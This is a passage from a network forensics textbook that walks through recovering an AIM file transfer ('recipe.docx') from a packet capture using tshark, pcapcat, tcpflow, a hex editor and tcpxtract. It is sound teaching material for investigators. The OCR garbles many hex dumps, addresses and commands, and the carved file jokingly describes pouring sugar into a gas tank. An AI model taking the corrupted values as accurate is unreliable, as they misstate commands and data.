“recipe.docx”. Did a remote peer ever connect to this port to complete the file transfer?
We can use tshark to quickly view packet capture conversation statistics, as shown below:

$ tshark -qn -z conv,tcp -r evidenceOl.pcap

TCP Conversations
Filter:<No Filter>
| <- | -> | Total |
Frames Bytes Frames Bytes Frames Bytes

192.168.1.159:1271 <-> 205.188.13.12:443 31 29717 16 1451 47 31168
192.168.1.159:1221 <-> 64.12.25.91:443 24 4206 16 1799 40 6005
192.168.1.158:51128 <-> 64.12.24.50:443 20 2622 20 1681 40 4303
192.168.1.158:5190 <-> 192.168.1.159:127 9 1042 15 13100 24 14142
192.168.1.159:1273 <-> 64.236.68.246:80 5 1545 5 1964 10 3509
192.168.1.2:54419 <-> 192.168.1.157:80 3 206 4 272 7 478
192.168.1.2:55488 <-> 192.168.1.30:22 2 292 3 246 5 538

Scrolling through this list, we can see that there was indeed one conversation that
involved 192.168.1.158 on TCP port 5190. The other host involved in the conversation
was 192.168.1.159, and 1,042 bytes were transferred.
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4.3.2.2 List TCP Flows

Let’s identify the specific flows of interest so that we can get ready to extract the higher-layer
protocol data. During our earlier packet analysis, we saw that the sender (192.168.1.158)
initiated the file transfer during the time frame of the packet capture. The actual file transfer
must have occurred subsequently. Hence, we can limit our search to TCP flows that were
created during the time of the packet capture (i.e., we can safely ignore any TCP flows that
were initiated before our packet capture began).

Coveniently, the default behavior of pcapcat is to list only the TCP flows that were
created during the capture time. In the output below, we see that there were only four TCP
flows created within the packet capture.

$ pcapcat -r evidenceOl.pcap

[1] TCP 192.168.1.2:54419 -> 192.168.1.157:80

[2] TCP 192.168.1.159:1271 -> 205.188.13.12:443

[3] TCP 192.168.1.159:1272 -> 192.168.1.158:5190

[4] TCP 192.168.1.159:1273 -> 64.236.68.246:80

Enter the index number of the conversation to dump or press enter to quit:

Of these, only one flow was related to 192.168.1.158 on port 5190 (low number 3). The
other endpoint of this flow is a host on the local network, 192.168.1.159. This corroborates
our findings from the tshark conversation statistics:

[3] TCP 192.168.1.159:1272 -> 192.168.1.158:5190

4.3.2.3 Export TCP Flow

We’ve identified the flow that most likely contains the OFT file transfer. Now let’s export
that flow so that we can attempt to recover any data transferred within it. Using pcapcat,
we can export the flow of interest, this time using a BPF filter to quickly narrow down the
search:

$ pcapcat -r evidenceOl.pcap -w internal-stream.dump -f 'host 192.168.1.158
and port 5190

[1] TCP 192.168.1.159:1272 -> 192.168.1.158:5190

Enter the index number of the conversation to dump or press enter to quit: 1

Dumping index value 1

Ma. Time . Source Drstination Pretocal  Info
108 61.051429 HewlettP_a4S:ad:bb Dell il 102.168.1.158 is at 00:12:79:45:a4:bb

109 el.05262% 102.168.1.150 192.1 S
110 61,050630 192,168, 152, 1 acl = copalockmgr [SYN, ACK] Seqs0 Acksl Win=S5840 Lens0 MSS=1460
111 £1.054660  192.168.1.150 192.168.1.158 TP csprlockmgr > aol [ACK] Seq=l Ack=1 Win=64240 Len=0

112 £1.054084  192.160.1.158 192.168.1.158 TP sol > capmlockmgr [PSH, ACK] Seq=1 Ack=1 Win=5840 Len=255

P Frame 108 (62 bytes on wire, 62 bytes captured)

b Ethernet IT, Sre: Dell_ad:af:ae (00:21:70:4d:4f:a8), Dst: HewlettP_aS:a4:bb (00:12:79:45:a4:bb)

P Internet Protoceol, Sre: 102.168.1.150 (192.16€8.1.150), Dst: 192.168.1.156 (100.166.1.158)

I Transmssion Control Protocol, Src Port: cspmlockmgr (1272), Dst Port: aol (5180), Seq: O, Lan: ©

Figure 4-18. Frame #109 shown in Wireshark. This frame is part of the identified conversation
of interest between 192.168.1.158 and 192.168.1.159 on TCP port 5190.
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You can also use the tool “tcpflow” to automatically extract any or all flows from a
packet capture, as shown below. Here we will use tcpflow with a BPF filter to extract any
TCP flows that related to 192.168.1.158 on port 5190:

$ tcpflow -r evidenceOl.pcap 'host 192.168.1.158 and port 5190

tcpflow [2565686]: tcpflow version 0.21 by Jeremy Elson <jelson@circlemud.org>

tcpflow [26686]: looking for handler for datalink type 1 for interface
evidenceOl.pcap

tcpflow [25686]: found max FDs to be 16 using OPEN_MAX

tcpflow [25686]: 192.168.001.159.01272-192.168.001.158.05190: new flow

tcpflow [255686]: 192.168.001.158.05190-192.168.001.159.01272: new flow

tcpflow [256586]: 192.168.001.158.05190-192.168.001.159.01272: opening new
output file

tcpflow [256586]: 192.168.001.159.01272-192.168.001.158.05190: opening new
output file

$ 1s -1

total 13

“TWX------ 1 student student 12264 2011-01-08 20:53
192.168.001.158.05190-192.168.001.159.01272

“rwx------ 1 student student 512 2011-01-08 20:53

192.168.001.159.01272-192.168.001.158.05190

Notice that tcpflow extracted two half-duplex flows and saved them to files. As you
can see, the filenames indicate the source and destination IP addresses and ports, and also
indicate the direction of traffic flow.

You can also export flows manually in Wireshark, although this does not scale as well
for large packet captures. In this case, to export the flow of interest using Wireshark, begin
by clicking on any packet that is part of the flow of interest. Frame #109, as shown in Fig-
ure 4-18, is part of the connection between 192.168.1.158 and 192.168.1.159 on TCP port
5190.

Select packet #109 and right-click on “Follow TCP Stream.” This produces a screen that
displays the raw contents of the full-duplex flow. We can select one side of the conversation,
as shown in Figure 4-19, to see only the data transferred from 192.168.1.158 (TCP port 5190)
to 192.168.1.159. Based on protocol markers such as the “OFT2” header, this half-duplex

Stream Content
oFT
Fil
[Contant_Types].xal

] e e e R e eReer e |

viereearecipe.doca. .,

i Bind || Save s | e rint || 192.168,1.158:00] --> 162.168.1.158xspmlockmgr (12264 bytes) & bsr.u EBCOIC O Hex Dump O © Arays @ Faw

) tielp kg close [¥] Fiter Out Thes Stream

Figure 4-19. Wireshark's “Follow TCP Stream” function, used in this case to isolate the TCP
stream between 192.168.1.158 and 192.168.1.159 on TCP port 5190. We have selected one
direction of the stream, which appears to contain an OF T2 file transfer of the file “recipe.docx.”
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U0 Z2E E8 00 00 0O OO Bl 64 U0 OO0 FF FF 00 00|......... d......
00 00 00 00 00 00 OO0 FF FF 00 00 00 00 00 00 |....coveuenunnnn
FF 00 00 43 6F 6F 6C 20 46 69 &C 65 58 66 65|....Cool FileXfs

0o o0 00 00 00 00 OO OO OO0 OO OO0 00 00 00 O00|................
00 00 00 OC OO0 0O OO OO0 0D OO0 OO0 00 00 QO OO0f...i.vinenanannnn

Figure 4-20. The beginning of our exported flow, internal-stream.dump. Notice the first 4
bytes in the stream are “OFT2,” which mark the beginning of an OFT header. Bytes 6-7
("“Type") are 0x0101, which indicates that the sender is ready to transfer data.

stream appears to contain one side of an OFT?2 file transfer of a file called “recipe.docx.”
Click “Save As” to save the half-duplex flow in “raw” format.

4.3.2.4 File and Data Carving

What was the file that Ann’s AIM client transferred to 192.168.1.1597 Now that we have
exported the flow that is most likely to contain this OFT?2 file transfer, let’s see if we can
carve the file itself out of the captured network traffic.

Figure 4-20 shows the exported flow, internal-stream.dump, opened in the Bless hex
editor. Notice the first 4 bytes in the stream are “OFT2,” which mark the beginning of an
OFT header. Bytes 6-7 (“Type”) are 0x0101, which indicates that the sender is ready to

transfer data.

As shown in Figure 4-21, bytes 28-31 represent the “Total Size” of the file that the
sender intends to transfer. In this case, the “Total Size” is “0x00002EES,” or 12,008 bytes in

0000000C0 |4Fr
00000010 (00
00000020 (00
00000030 (00
oooooo4o (FF
00000050 (72
00000060 (00
00000070 (00
00000080 (00
voooooso (oo
000000a0 (00
0000000 (00
000000c0 |72
onooondo (oo
uooooveo (00
000000£0 |00

Figure 4-21. Our

46 54 32 01 00 01 Ol 00 00 OO0 OO0 00 00 00 OO |OFTZ.....0uuuunn
00 00 00 00 01 00 01 00 01 00 01 0O 00 2ZE E8|............cuun

00 2E E8 00 00 00 00 Bl 64 00 00 FF FF 00 00|......... d......
0o 00 00 00 00 00 OO0 FF FF 00 00 00 00 OO0 OO|.... ... .. .......
FF 00 00D 43 6F 6F 6C 20 46 6Y 6C bb b¥ 66 6&b|....Cool FileXte

00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0 |C....vviueuannn
00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0|...ucvvinenannn
00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0|...vcverinenannn
0o o0 00 00 00 00 OO 00 00 00 00 00 00 OO0 OO|................
00 00 0D 00D DD 0O OO 00 OO0 OO0 OO0 0D DO OO OO e i i i i
00 00 00 00 00 00 00 00 00 00 00 00 00 00 O00|....cvvinenannn
00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0|...ucvvinenannn
65 63 69 70 &5 2E 641 6F 63 78 00 00 00 00 00|rccipec.doox.....
oo oo aon 00 00 00 00 00 00 00 00 00 00 00 O0).. .. ... ... . ...,
00 00 0D 0D DD DO OO 00 OO0 OO0 00 0D DD OO OO e et i e anas
00 00 00 00 00 00 00 00 00 00 00 00 00 00 O00|....cviviueuannn

exported flow, internal-stream.dump, shown in Bless. Bytes 28-31 repre-

sent the “Total Size” of the file that the sender intends to transfer. In this case, the “Total
Size" is “Ox00002EES8,” or 12,008 bytes in decimal. Further below, we an see the filename
“recipe.docx,” which begins at Byte 192 of the OFT header.
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0DoDOOfO |00 OO OO DO OO0 OO OO OO DO 00 OO0 OO0 OO0 OO0 00 00w nnnnn

00000100 (4F 46 54 22 01 00 D2 02 327 31 37 34 36 34 37 00|0QFTZ....7174647.
gooool1o0(00 00 OO OO OO0 O1 00 O1 00 01 OO0 01 OO0 00 2E E8 | ... nnn.
goooolzo0(00 00 2E ES8 00 OO0 00 OO0 B1 &4 00 00 OO0 00 0O OO|......... [= I
00000120|00 0O OO DO 00 OO0 OO OO FF FF 00 00 00 00 00 00 ... nnnnnnn
00000140|00 00 00 DO 43 6F 6F 6C 20 46 69 6C 65 58 66 65|....Ccol FileXfe

0000015072 00 00 OO 00 OO OO0 OO0 OO0 OO0 0D OO0 00 00 00 OO0 |E..v v v vunnnnn
0000016000 00 00 DO 20 1C 11 00 00 00 0D 00 00 00 00 OOf.... «v.vvunnnnn

Figure 4-22. Our exported flow, internal-stream.dump, shown in Bless. Here at Byte
256 (0x100) we see a second OFT header with “Type” 0x0202, or “Acknowledge.” OFT
“Acknowledge” packets are sent by the recipient to the sender to indicate that the recipient is
ready to receive the file transfer.

decimal. The “Filename” string begins at Byte 192 (0xc0), and in this case it is “recipe.docx”,
(padded with nulls to 64 bytes).

Scrolling down to Byte 256 (0x100), we see the beginning of another 256-byte OFT2
header (Figure 4-22). This time, the “Type” is “0x0202,” or “Acknowledge.” OFT
“Acknowledge” packets are sent by the recipient to the sender to indicate that the recipient
is ready to receive the file transfer. Since we are looking at the full-duplex communication,
we see OFT messages from both the sender and recipient. If we were looking at only the
half-duplex flow that we exported from Wireshark, we would not have seen this message
from the recipient.

Now let’s look for the beginning of a transferred .docx file. We can identify the be-
ginning of the .docx file by the “magic number” at the beginning, “0x504B” or “PK” in
ASCIL. Scrolling down in Bless to Byte 512 (0x200) Figure 4-23, this magic number ap-
pears at bytes offset 0x200 to 0x201 (2 bytes). The Bless hex editor displays the byte
locations for us when the bytes are highlighted (see the bottom panel for the offset in
hexadecimal).

To find the end of the transferred file, we can add the initial byte offset of the file
(0x02000) to the expected size (0x2EE8), which means that the file should end right before

00000140 |00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00
000001b0 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001c0 |72 65 63 69 70 65 2E 64 6F 63 78 00 00 00 00 00
000001d0 |00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00
0000010 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000001£0|00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00
00000200 03 04 14 00 06 00 08 00 00 00 21 00 7C 10
00000210 |EE 3D 7F 01 00 00 24 05 00 00 13 00 08 02 5B 43
00000220 |6F 6E 74 65 6E 74 5F 54 79 70 65 73 5D 2E 78 6D
00000230 [6C 20 A2 04 02 28 A0 00 02 00 00 00 00 00 00 00
00000240 |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000250 |00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00

| {[Offset: 01002 / 030747 [Selection: 01000 to 01001 (02 bytes) [INS

Figure 4-23. Our exported flow, internal-stream.dump, shown in Bless. The magic number
for a .docx file, 0x504B, appears at Bytes 512-513 (0x200-0x201).
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000030c0 |00 00 64 &6F 63 50 72 6F 70 73 2F 61 70 70 2E 78|..docProps/app.x
000030d0|6D 6C 50 4B 05 06 00 00 00 00 OE 00 OE 00 94 03 |mlPK............
00003020 (00 0O 3E Z2B 00 00 00O OO0 4F 46 54 32 01 00 02 04)..>+....0FTZ....
000030£0 (37 31 37 34 36 34 37 00 00 00 00 00 OO 01 OO0 01 |7174647.........
onopn3loo (oo 01 00 01 00 00 2R ER 00 00 2K RR 00 00 00 OO0 . ... ... ... .....
00003110 |B1 64 00 00 FF FF 00 00 0O 00 00 00 00 00 00 00|.d.....vuvnn...

Figure 4-24. Our exported flow, internal-stream.dump, shown in Bless. The .docx file ends
just before Byte 0x30E8. We see that it ends with 4 null bytes, and is immediately followed by
an OFT2 “Done” header (Type “0x0204").

byte offset 0x30ES8. This matches perfectly with what we see in Figure 4-24; scrolling to
the offset in the exported flow data, we see that the next OFT header does in fact begin
at byte offset 0x30ES8. Notice that the transferred file appears to end with four null bytes:
“00 00 00 00.”

Let’s double-check and make sure that the file was transferred fully. Examining the OFT
message at byte offset 0x30ES8, shown in Figure 4-25, we can see that it has type 0x0204,
or “Done.” OFT messages of this type are sent by the server to indicate that it is done
sending the file. We can also check the size of the data that has already been sent. This is a
4-byte field at Byte 32 of the OFT header (Byte 0x3108 of the packet capture). The value
of this field in the OFT “Done” packet is 0x2EES, which matches the total size that the
sender originally indicated it intended to transfer. From this, we can conclude that the file
was fully transferred in one exchange.

Now that we have identified the beginning and end of the transferred file (Bytes 0x200
through 0x30E7), we can easily carve it out using Bless’ “Cut” tool. Figure 4-26 shows how
to use Bless to snip off the extra data before the transferred file. Next, we also snip off the
extra data after the transferred file, and save the resulting data as “recipe.docx”.

0000302000 00 3E 2B 00 00 00 00 4F 46 54 32 01 00 02 04|..>+....0FT2....
000030L0(37 31 37 34 36 34 37 00 00 00 00 00 00 01 00 01 |7174647.........
0000310000 01 00 01 00 00 2E E& 00 00 ZE E8 00 00 00 00
00003110 (B1 &4 00 00 FF FF 00 00 00 0O OO 0O 00 00 00 00
00003120 (FF FF 00 00 00 00 2E E8& Bl 641 00 00 43 6F BF 6C
000032130 |20 46 69 6C 65 58 66 &5 72 00 00 00 00 00 00 0O
oooo3140 (00 00 00O 00O OO0 OO 00 OO OO0 OO0 00 00 20 1c 11 00 ............ -
anon3ls0 (00 oo o0 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... ... . ...
00003160 (00 00D DO OO0 DO DO OO 0D OO 0D OO DD 0D DD DO OO0 n i i
00003170(00 00 00 OO0 00 OO0 OO OO OO OO0 OO0 00 00 00 00 OO .uuuiuiuenenannn
00003180(00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 |...c.vuuuenanann.
000031%0(00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 |...uuiueuenanann.
000031a0 (00 00 00 00 00 00 00 00 72 65 63 69 70 65 2E 64|........ recipe.d
000031b0|(6F &3 78 00 00 00 00 OO0 00 00 OO0 00 00 00 00 00 |OCXK.uueueuweuann.
000031c0O |00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00 |....vuuueuenann.
oooo3ldo |00 00 00 OO 0O OO 0O OO 00 00 00 00 OO0 00 00 00| ... iuenonan..
ooooile0 |00 OO 0O 0O OO OO OO OO0 LlLl.l.

Figure 4-25. Our exported flow, internal-stream.dump, shown in Bless. The OFT2 “Done”
header begins at byte offset 0x30E8. Note the “Size” 0x2EE8 (12,008 bytes), which indicates
the amount of data that has already been transferred. This matches the total file size indicated
by the sender, which means our file transfer is complete.
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File Cdit View Search Tools Help
TR EEEY
Incernal-stream. dump ¥ |
000001b0 )
000001c0 _J
000001d0
0000010
0U0DUL LD
00000200 |50 4R 03 04 14 00 06 00 OB OO0 00 00 21 00 7C 1
00000210 |EE 3D 7F 01 00 00 A4 05 00 00 13 00 08 02 GB
00000220 |6F 6E 74 &5 6E 74 &EF 54 79 70 &5 73 5D 2E 78
00000230 |6C 20 A2 04 02 28 R0 00 02 00 00 00 00 00 00
00000240(00 00 00 0O OO0 OO 0O OO OO OO OO OO0 OO OO 0O |
| JOffset: ox0 [ Ux31e7 [Selection: UxU to Ux1FF (Ux200 bytes) |INS 7

Figure 4-26. In this screenshot, we are using Bless to snip off the extra data before the
transferred .docx file.

Let’s collect cryptographic hashes of the file so that we can later verify it has not changed
since we carved it out:

$ sha256sum recipe.docx
f0f74a982a814640aedaabfd6542ac810e8c5e257552bcc024a5c808343bccf9 recipe.docx

$ mdbsum recipe.docx
8350582774e1d4dbel1d61d64c89e0eal recipe.docx

Double-check the size of the file we just carved:

$ 1s -1 recipe.docx
“rwX------ 1 student student 12008 2010-09-03 16:36 recipe.docx

The file size is 12,008 bytes in size, which matches our expectations.
Verify the file type:

$ file recipe.docx
/home/student/.magic, 15022: Warning: using regular magic file ~/etc/magic'
recipe.docx: Zip archive data, at least v2.0 to extract

This result, “Zip archive data,” makes sense, because .docx files are a type of zip file.

In a real investigation, you will want to store this file on media where it cannot easily be
modified. As you progress in your forensic analysis, routinely store cryptographically hashed
copies of important data (carved-out flows or files) in places where you cannot accidentally
modify them.

Finally, we have carved out the file transferred! Let’s open a copy of it with a document
editor and see what’s inside. Remember, programs that you use to view a file may also
modify it. Always maintain hashed, write-protected copies of the important data you have
extracted during analysis.

In Figure 4-27, we can see Anarchy-R-Us’s “Recipe for Disaster.” This is their secret
recipe! We have found strong evidence that the user of 192.168.1.158 (Ann) transferred this
file to someone at 192.168.1.159 through her AIM client.
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Farmat

Table Tools

Window Help

IRecipe for Disaster:

1 serving

Ingredients:

4 cups sugar

2 cups water

In a medium sadcepan, bring the water to a boil. Add sugar. Stir gently over low
heat until sugar is fully dissclved. Remove the saucepan from heat. Allow to cool
completely. Pour into gas tank. Repeat as necessary.

Figure 4-27. Here is the file we carved out of the OFT transfer, recipe.docx. The contents
are shown in OpenOffice.

Whew! Manually carving out that file was a lot of work. Imagine if you had a much bigger
packet capture with lots of file transfers. This manual method is good for understanding the
underlying system, but in practice it really doesn’t scale.

Let’s try using tcpxtract to automatically carve the transferred file out for us:

$ tcpxtract

Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1
Found file of
192.168.1.
Found file of
192.168.1.
Found file of
192.168.1.

type llzipll
159:63236] ,
type llzipll
1569:63492],
type Ilzipll
159:63492],
type Ilzipll
159:63492],
type "zip"
159:63492],
type "zip"
159:63492],
type llzip"
169:63492],
type "Zip"
169:63492],
type llzipll
1569:63492],
type llzipll
1569:63492],
type Ilzipll

.159:63492] ,

type Ilzipll
159:63492],
type "zip"
159:63492],
type "zip"
159:63492],

-f evidenceO1l.pcap

in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting
in session
exporting

[205.188.13.12:47873
to 00000022.zip
[192.168.1.158:17940
to 00000023.zip
[192.168.1.158:17940
to 00000024.zip
[192.168.1.158:17940
to 00000025.zip
[192.168.1.158:17940
to 00000026.zip
[192.168.1.158:17940
to 00000027.zip
[192.168.1.158:17940
to 00000028.zip
[192.168.1.158:17940
to 00000029.zip
[192.168.1.158:17940
to 00000030.zip
[192.168.1.158:17940
to 00000031.zip
[192.168.1.158:17940
to 00000032.zip
[192.168.1.158:17940
to 00000033.zip
[192.168.1.158:17940
to 00000034.zip
[192.168.1.158:17940
to 00000035.zip
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Found file of type "zip" in session [192.168.1.158:17940 ->
192.168.1.159:63492] , exporting to 00000036.zip

$ 1s -1

“rWx------ 1 student student 12020 2011-01-08 11:22 00000023.zip
“rWX------ 1 student student 11068 2011-01-08 11:22 00000024.zip
“rWX------ 1 student student 10264 2011-01-08 11:22 00000025.zip
“TWX-—----- 1 student student 9670 2011-01-08 11:22 00000026.zip
“rwx------ 1 student student 8775 2011-01-08 11:22 00000027.zip
“rWx------ 1 student student 7038 2011-01-08 11:22 00000028.zip
“rwX------ 1 student student 6209 2011-01-08 11:22 00000029.zip
“rWx------ 1 student student 5691 2011-01-08 11:22 00000030.zip
“rWX------ 1 student student 5380 2011-01-08 11:22 00000031.zip
“rWx------ 1 student student 3485 2011-01-08 11:22 00000032.zip
“rWX------ 1 student student 2807 2011-01-08 11:22 00000033.zip
“rwx------ 1 student student 2585 2011-01-08 11:22 00000034.zip
“rWx------ 1 student student 1974 2011-01-08 11:22 00000035.zip
“rwX------ 1 student student 1737 2011-01-08 11:22 00000036.zip

If you search the flow of interest for the hex string “0x504B0304,” which tcpxtract uses by
default to mark the beginning of a zip file, you will see that this string was actually present
14 times within the flow. Only one of these instances corresponds with the “0x504B0304”
that marks the beginning of our file transfer for recipe.docx. This was the first instance,
which tepxtract carved out as file “00000023.zip.”

Let’s try saving “00000023.zip” as “recipe-tcpxtract.docx” and see what happens when
we open it in a document editor. Figure 4-28 shows the .docx file carved out by tcpxtract,
which indeed appears to contain the same content as the recipe.docx file that we carved out
manually earlier.

et Format Table Tools Window Help

IRecipe for Disaster:

1 serving
Ingredients:
4 cups sugar
2 cups water

In & mediurm saucepan, bring the water to a boil. Add sugar. Stir gently over low
heat until sugar is fully dissolved. Rermowve the saucepan from heat. Allow to cool
completely. Pour into gas tank. Repeat as necessary.

Figure 4—-28. Here is a file we carved out of the OFT transfer using tcpxtract. The contents
are shown in OpenOffice. Note that the contents appear to be the same as the file we carved
out earlier manually—but as we will see, they are not quite the same.
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But when we take the cryptographic hashes, we see immediately that this file is not the
same as the one we carved out earlier:

$ mdbsum recipe-tcpxtract.docx
a217badfdb530bd55d1dbd2280cb3e2b recipe-tcpxtract.docx

$ sha256sum recipe-tcpxtract.docx
3472a1720544098caf9872401932d10a021dfc56ea34cad5db0f80c92080ba82 recipe-
tcpxtract.docx

In fact, the file size is slightly different as well. Here we see that the file carved out by
tepxtract is 12,020 bytes, whereas the one we carved earlier was only 12,008 bytes.

$ 1s -1 recipe-tcpxtract.docx
STWX------ 1 student student 12020 2011-01-08 11:58 recipe-tcpxtract.docx

Which is correct, our manual extraction or tcpxtract’s automated extraction?

Let’s open both the files up in a hex editor, as shown in Figure 4-29. We can see visually
that the beginning of the files are the same, but the file carved by tcpxtract has 12 bytes
of extra data at the end. This makes sense, since we know that recipe-tcpxtract.docx was
12,020 bytes in size, compared to recipe.docx, which was only 12,008 bytes in size.

Given that the highest-layer protocol, OFT, reported the expected file size as
“0x00002EES,” or 12,008 bytes, it’s likely that the file we carved out manually is correct.
Why, then, did tcpxtract pad the file with 12 bytes of mysterious trailing nulls?

Carefully examining the relevant TCP stream in Wireshark, we can see that after the end
of the file transfer, 192.168.1.158 sent two additional TCP packets to 192.168.1.159 (#134
and #139). Neither of these packets contained any data within the TCP payload. In packet
#139 of the evidence file (shown in Figure 4-30), you can see that the “Total Length” of the
IP packet is 40 bytes. The IP “Header length” is 20 bytes, and the TCP “Header length”
is 20 bytes. Adding up the IP and TCP header lengths, we find that the total length of the
IP + TCP headers is 40 bytes. Since that is also the total length of the whole IP packet,
there must be zero data in the TCP payload. You can confirm this by looking in the Packet
Details window, where the TCP protocol is marked as “Len:0,” to indicate zero payload
length.

6D 6C 50 4p 05 06 00 00 00 00 OE 00 OE 00 94 03
00 00 3E 2B 00 00 00 00 OO0 0O OO0 DO 00 OO 0O OO
00 00 00 00

00002=d0
00002e=0
00002=£0

(a)

6D 6C 50 4B 05 06 00 00 00 00 OE 00 OE 00 94 03
00 00 2E 2B 00 OO0 0O OO0

MIPK.coeeovnnnns
e

00002ed0
0000220

(b)

Figure 4-29. This screenshot shows the ends of the two files that we carved out. The top file
(a) was carved by tcpxtract, and the bottom file (b) was carved manually. Notice that the file
carved by tcpxtract had 16 nulls at the end, but the manually carved file only had 4.



4.3 Flow Analysis 119

The minimum payload size of an Ethernet frame is 46 bytes.?? Consequently, the network
device driver padded the Ethernet frame’s payload with 6 null bytes, since TCP/IP only
took up 40 bytes total. You can see these 6 null bytes at the end of Wireshark’s Packet
Bytes frame in Figure 4-30. Notice how they occur immediately after the TCP header.
These days, TCP options are so prevalent that minimum-length 20-byte TCP headers are
not as common as they used to be. As a result, padded Ethernet frames are relatively rare.

There are two padded packets in this flow sent from 192.168.1.158 to 192.168.1.159 after
the end of the file transfer, which contain a total of 12 null bytes of Ethernet padding.
Note that if no footer magic number is present, tcpxtract will continue to carve TCP data
until the end of the flow. It is likely that tcpxtract incorrectly included the 6 null bytes
of padding from each of these two packets as part of the TCP stream because rather than
properly calculating the size of each TCP payload, it simply grabbed all bytes after the
TCP header and mistakenly included them as part of the TCP stream.

The moral of the story: Trust, but verify.

Fllcer: Jtcp.stream eq 7 ﬂ E:-:presslor\..ltlear|ﬂpplr|
Ne. - |T|me Seurce |Destinatiun |Promcul IInfo
132 61.270706 152.168.1.159 162.168.1.158 TR cspmlockmgr > aol [PSH, ACK] Seq=4020906270 Acks

182.168.1.159 TR

aol = cspmlockmgr [ACK] Seq
spmLockme ol | K

b Frame 135 (60 bytes on wire, 80 bytes captured)
b Ethernet 1I, Sre: HewlettP 4S:ad:bb (00:12:79:45:a4:bb), Dst: Dell_ad:af:ae (00:21:70:4d:af:ae)
= Internet Protocol, Src: 192.168.1.158 (152.168.1.158), Dst: 162.168.1.158 (182.168.1.158)
version: a
Header length: 20 bytes

vifferentiated Services Field: Ox00 (0SCP Oxo0: Default; EOM: Oxo0)
Total Length: 40

Identification: Ox72zs (zezz1)

Flags: 0x02 (Don't Fragment)

Fragment offset: o

Time to live: &4

Protocol: TCP (Ow0G)

Header checksum: Ox441d [correct]

Source: 192.168.1.158 (152.168.1.158)

Destimation: 192.163.1.159 (192.168.1.159)

-

-

- Transmission Control Protecol, Src Port: acl (5190), Dst Port: cspmlockmgr (1272), Seq: 3626218418, Ack: 4020
saurce port: asl [S190)
Destination port: cspmlockmgr (1272)
[stream index: 7]
Sequence number: 3EIE218418
acknowledgement number: 4020806527
Header length: 20 bytes

Flags: Ox10 [ACK)
wWindow sizo: 7504
b Checksum: Oxafle [validation disabled]
b [SEQ/ACK analysis)

00 21 70 4d af ae 00 12 79 a5 aa bb 0= 00 45 00 L1pMO. .. yE....E.
10 00 28 72 35 40 00 40 05 44 1d 0 aB 01 Se cD a8 . (r%@.0. D...v...

M4 45 04 fa dB 23 b3 b2 of aa 2a 1f 50 1 ..
20 [EIEEERCEGEs oo 00 coocooooo  [EAEN.. ...

Figure 4-30. After the end of the file transfer, 192.168.1.158 sent two additional TCP packets
to 192.168.1.159 (#134 and #139). Neither of these packets contains any data within the
TCP payload. Each packet is padded with six nulls at the end by the network card, to reach
the minimum size for an Ethernet frame (46 bytes).

39. “IEEE-SA -IEEE Get 802 Program,” http://standards.iece.org/about/get/802/802.3.html.


http://standards.ieee.org/about/get/802/802.3.html

120 Chapter 4 Packet Analysis

Etherleak

There was a big flap in 2003 when AtStake released a whitepaper detailing how certain
improperly written network device drivers were padding Ethernet frames with bytes from
previously handled frames or kernel memory. This resulted in potentially sensitive snippets
of network traffic and kernel memory leaking to other hosts on the LAN. This vulnerability,
which was found across a wide range of device drives from different sources, was dubbed
“Etherleak.” 40

4.4 Higher-Layer Traffic Analysis

If an investigator has been successful in isolating and reconstructing the payloads of a
transport-layer flow, it becomes possible to inspect the higher-layer protocols. Common
examples of higher-layer protocols include:

e Hypertext Transfer Protocol (HTTP)

e Simple Mail Transfer Protocol (SMTP)

e Domain Name System (DNS)

e Dynamic Host Configuration Protocol (DHCP)

Of course, there are many, many others.

4.4.1 A Few Common Higher-Layer Protocols

In this section, we briefly review important details of a few of the most common higher-layer
protocols: HTTP, DHCP, SMTP, and DNS. This background will be helpful throughout the
remainder of the book.

4.4.1.1 Hypertext Transfer Protocol (HTTP)

The Hypertext Transfer Protocol (HTTP) was originally developed in the early 1990s by
Tim Berners-Lee at the European Organization for Nuclear Research (CERN).*! Berners-
Lee wanted to help scientists at CERN share information in a flexible, distributed way. In
a 1989 proposal, he wrote:*2

CERN is a wonderful organisation. It involves several thousand people, many
of them very creative, all working toward common goals. Although they are
nominally organised into a hierarchical management structure, this does not

40. “Atstake,” 2003, http://www.atstake.com/research/advisories/2003/a010603-1.txt.

41. Joshua Quittner, “Network Designer Tim Berners-Lee,”— Time, March 29, 1999, http://www.time.com/
time/magazine/article/0,9171,990627,00.html.

42. Tim Berners-Lee, “Information Management: A Proposal,” March 1989, http://www.w3.org/History/
1989 /proposal.html.
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constrain the way people will communicate, and share information, equipment
and software across groups.

The actual observed working structure of the organisation is a multiply con-
nected ‘web’ whose interconnections evolve with time. ... [Ijnformation is con-
stantly being lost. The introduction of the new people demands a fair amount
of their time and that of others before they have any idea of what goes on. The
technical details of past projects are sometimes lost forever, or only recovered
after a detective investigation in an emergency. Often, the information has been
recorded, it just cannot be found.

... It was for these reasons that I first made a small linked information system,
not realising that a term had already been coined for the idea: ‘hypertext.’

. ‘Hypertext’ is a term coined in the 1950s by Ted Nelson [...], which has
become popular for these systems, although it is used to embrace two different
ideas. One idea (which is relevant to this problem) is the concept: ‘Hypertext’:
Human-readable information linked together in an unconstrained way.

Along with HTTP, Berners-Lee also developed the first web browser and the HyperText
Markup Language (HTML), a language used by web browsers to exchange and display
information.*3

HTTP operates according to a request/response model, where the HTTP client sends
a request to a remote server, and the server processes the request and sends a response.
